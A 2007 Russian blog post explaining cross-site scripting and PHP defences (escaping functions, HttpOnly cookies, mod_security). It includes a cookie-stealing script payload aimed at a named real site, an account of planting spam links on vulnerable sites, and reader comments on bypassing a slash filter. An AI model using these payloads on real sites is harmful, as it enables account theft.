XSS уязвимости: атака и защита на примере PHP

11.06.2007

Так вот, недоумевал я в свое время на SecLab’е. Ничего интересного по этой ссылке нет, просто там мой пост затесался. Но вопрос о применимости XSS остался и засел глубоко. А сейчас вылез наружу в виде этого поста в моем блоге. Букав много, так что напряжемся и прочитаем до конца.

Что такое XSS всем рассказывают википедики. Это, так называемый, межсайтовый скриптинг, когда посредством плохой проверки входных данных скрипт на каком-либо сайте позволяет вставлять в свое тело чужие, порой инородные тэги и вообще любой другой текст.

По сути существует два вида XSS:

  • Внедрение в тело страницы
  • Внедрение в заголовки

Для того что бы внедриться в тело должен существовать некий скрипт:

index.php?code=XXX

Но предположим, что входные данные проверяются плохо и скрипт не проверяет наличие HTML-тэгов, тогда мы можем написать внутри страницы все что захотим
index.php?code=<script>alert(123)</script>

Внедрение же в заголовки, тоже подразумевает пропуск тэгов во входных данных, но дополнительно к ней не ведется проверка переводов строк когда скрипт формирует заголовки посредством входных данных (например, он выдает “Location: $url”) и у нас появляется возможность добавить туда свои нехорошие заголовки.

Самая суть этой дыры в том, что в страницу можно внедрить некий HTML-код, а в частности, код на javascript, который будет действовать в контексте данного сайта. Подумайте сами, ведь если на странице действует скрипт, то он вполне может автоматически отправить куда-нибудь ваши cookies, при помощи которых был осуществлен вход на сайт. Или автоматически оптравить форму смены пароля – и тогда тю-тю ваш аккаунт на каком-нибудь хорошем сайте.

И все-таки – что же дает нам такое вот внедрение. Казалось бы – ну внедрили и что. Вторая часть взлома – это заставить пользователя зайти на какую-либо из наших страниц, где мы в скрытом фреймике тихонечко нарисуем нужный нам документ и сделаем свои черные дела так, что пользователь даже не догадается что его уже испортили :)

XSS раньше активно ипользовался черными сеошниками, которые с его помощью создавали фактически не существующие страницы на дырявых сайтах, а в них уже вставляли ссылки на свой сайт, получая от поисковой системы дополнительный плюс в количестве ссылок на них. На данный момент поисковые машины вроде бы с таким являнием справились и такие ссылки не засчитывают. Кто не понял, может посмотреть примеры: здесь, здесь и здесь. Отчетливо видны ссылки на мой сайт (там где “привет медвед”), хотя физически эти сайты знать не знают о моем существовании. О том как искать такие сайты рассказывать не буду, не маленькие небось, сами догадаетесь :) Кстати, не факт что на момент просмотра данные ссылки будут показываться, дырку легко могли залатать.

Вот вам недавний пример. Только неудавшийся, но тем не менее сайт был подвержен XSS, ему просто повезло, что он не пропускал символ “/”, а иначе бы загремели аккаунты пользователей, будь я в слишком плохом настроении :)

http://fotodia.ru/tag/XSS_здесь_пиши_что_хочешь

Не знаю как на момент просмотра, но на момент публикации там можно вставлять любые, какие угодно тэги. Один прокол. Дело в том, что так заложено в этой системе, что разбивка на страницы идет посредством слэша. Т.е.

http://fotodia.ru/tag/имя_тэга_для_фотки/номер_страницы

И нам нельзя использовать в нашем XSS этот самый символ “/”, только потому, что скрипт разборщик входной строки посчитает все что идет после него является номером страницы. А это по сути обрубает все возможности. Ибо если вставлять тот же тэг <script>, то нам всегда надо будет сделать так, что бы он оказался закрыт, а для этого годится только слэш. Если же мы захотим вставить скрипт со стороннего сайта, то опять-таки нам придется написать в адресе в src: “http://сайт...”, но символ слэша отрезан. По сути – не удавшаяся XSS, что конечно жаль. Но если предположить, что XSS бы удалась, то следующим пунктом нашей программы стала бы регистрация на этом сайте. Заливка какой-нибудь фотки и надпись мол – приходите на этот сайт, тут у меня еще круче есть. Ну и показать эту самую крутость, а в страничку вставить малюсенький iframe, в src которого прописать следующее (это пример, псевдо-код, если хотите):

http://fotodia.ru/tag/<script>var x = document.cookie; 
document.write("<img src='x.php?x="+x+"'/>")</script>

И в результате можно было собрать все куки, всех пользователей зашедших туда. А значит стащить чужие аккаунты или (если стать совсем злым) удалить их.

Поэтому недооценивать XSS в принципе нельзя. Довольно серьзеная штука, которая не прощает ошибок. Представьте, если на яндексе найдут XSS. И хотя бы пару часов смогут им пользоваться.

Как защититься от XSS

Первая защита от XSS это прежде всего прямые руки и внимательность при написании кода. По сути все сводится к санитизации (sanitize) переменных и полной очистки их от HTML или заменой тэгов на HTML-сущности. В этом нам помогут две функции языка PHP: htmlspecialchars и htmlentities.

Во-вторых , нельзя доверять заголовкам, которые отправляет нам браузер, вроде “User-Agent“. Их очень легко подделать и вставить туда какой угодно код. Плюс проверять их на наличие перевода строки.

Кроме того, самый сильный вариант – идентифицировать пользователей не только по куке, но и по IP-адресу. Не всегда такое возможно (вспоминаем проксики и кучу юзеров за одним проксиком), но метод очень хороший.

Ни в коем случае не хранить в кукисах пароли и другую критическую информацию. Но это я думаю даже детям понятно.

Далее к нам на помощь приходит Microsoft с ее HttpOnly-cookies. Т.е. cookies, помеченные особенным образом не будут доступны для сценариев на языке javascript, они (сценарии) всегда будут получать пустую строку, вместо кука. А сами же cookies всегда будут передаваться и использоваться только браузером и только при запросах страницы. Т.е. методы кражи куков отметаются прямо на уровне реализации браузеров. Техническая сторона этой вещи раскрыта на phpinside и в статье майкрософта.

Задумка описнная в предыдущем параграфе на самом деле очень даже мощная, но это не панацея. Хотя производители того же форума IPB радостно написали в описании очередного релиза своего форума, что:


В новой версии 2.2.2 совместно с партнерами компании IPS, Inc. были исследованы новые методы безопасности и сделаны необходимые изменения в програмном коде для перевода безопасности на более высокий уровень. При запуске форума на новейшем PHP 5.2.x система может использовать защищенные cookies, которые практически сводят к нулю возможность применения XSS атак.

А если я, например, на яваскрипте создам форму, в которой будут тихо менять пароль запустив форму самим же яваскриптом? Вообщем, про нуль они конечно очень сильно загнули. XSS пока что не побежден.

Помимо всего прочего, существуют XSS уязвимости, специфичные не для сайта, а для конкретного браузера. Вы легко отгадаете как он называется. Дыра в этом убогом браузере описана в данной статье. По сути посредством плохой картинки можно исполнять javascript код (!) на клиентской стороне. Хм, кстати … вы все еще пользуетесь этим браузером?

И наконец, не забываем пользоваться средствами, специально для этого предназначенными – это mod_security для апача. От некоторого процента атак спасает. Даже на дярывые приложения. Хотя естественно самый правильный выход – вовремя обновлять софт или сразу писать его грамотно.


Комментирование этой статьи закрыто

Комментарии [6]

  1. Авг 4, 05:34 , Mustang

    А почему бы не использовать вместо слеша его аналог только в юникоде(вроде. не помню точно). Ну например когда пробел это %20. Также заменить слэш на значение.

  2. Авг 4, 17:35 , Dead Krolik

    Я не профессиональный мастер в этом деле. Возможно такое есть. Тут уже надо сильно глубоко копать. Но я уверен, что если бы такое было – то сервис давно бы сломали.

    Не думаю что слэш – как спец символ можно вот так вот заменять. Но не ручаюсь.

  3. Авг 4, 20:26 , Mustang

    Да я тоже этим особо не увлекаюсь. Просто предложил. Согласен. скорее всего спецсимвол не кодируется по-другому.

  4. Авг 24, 14:53 , 9hz

    Вопрос:
    В микрософте совсем дураки сидят, и описанную дыру в последнем IE(7) так и не исправили? А чем они тогда там занимаются?..

  5. Сен 21, 04:42 , pro

    слэш %2F будет, и кстати возможно это прокатило бы, но опять таки, нужно методом тыка все делать.. на живую так сказать

  6. Май 9, 03:48 , Wincert

    Отаковали меня недавно этим XSS, блин а как убрать его не знаю. Буквы вставили в самом верху засранцы. А все из-за того что лень перекодить сайт понормальному.

Комментирование этой статьи закрыто

Кто я


Возраст: 23
Профессия: заяц


Категории


Полезные ссылки


Стишок

Зайчик-зайчик, скок-поскок!
Н-нна тебе дробину в бок!
Не с капустой же мы будем
Жрать на Новый год пирог...

eu-shestakov.livejournal.com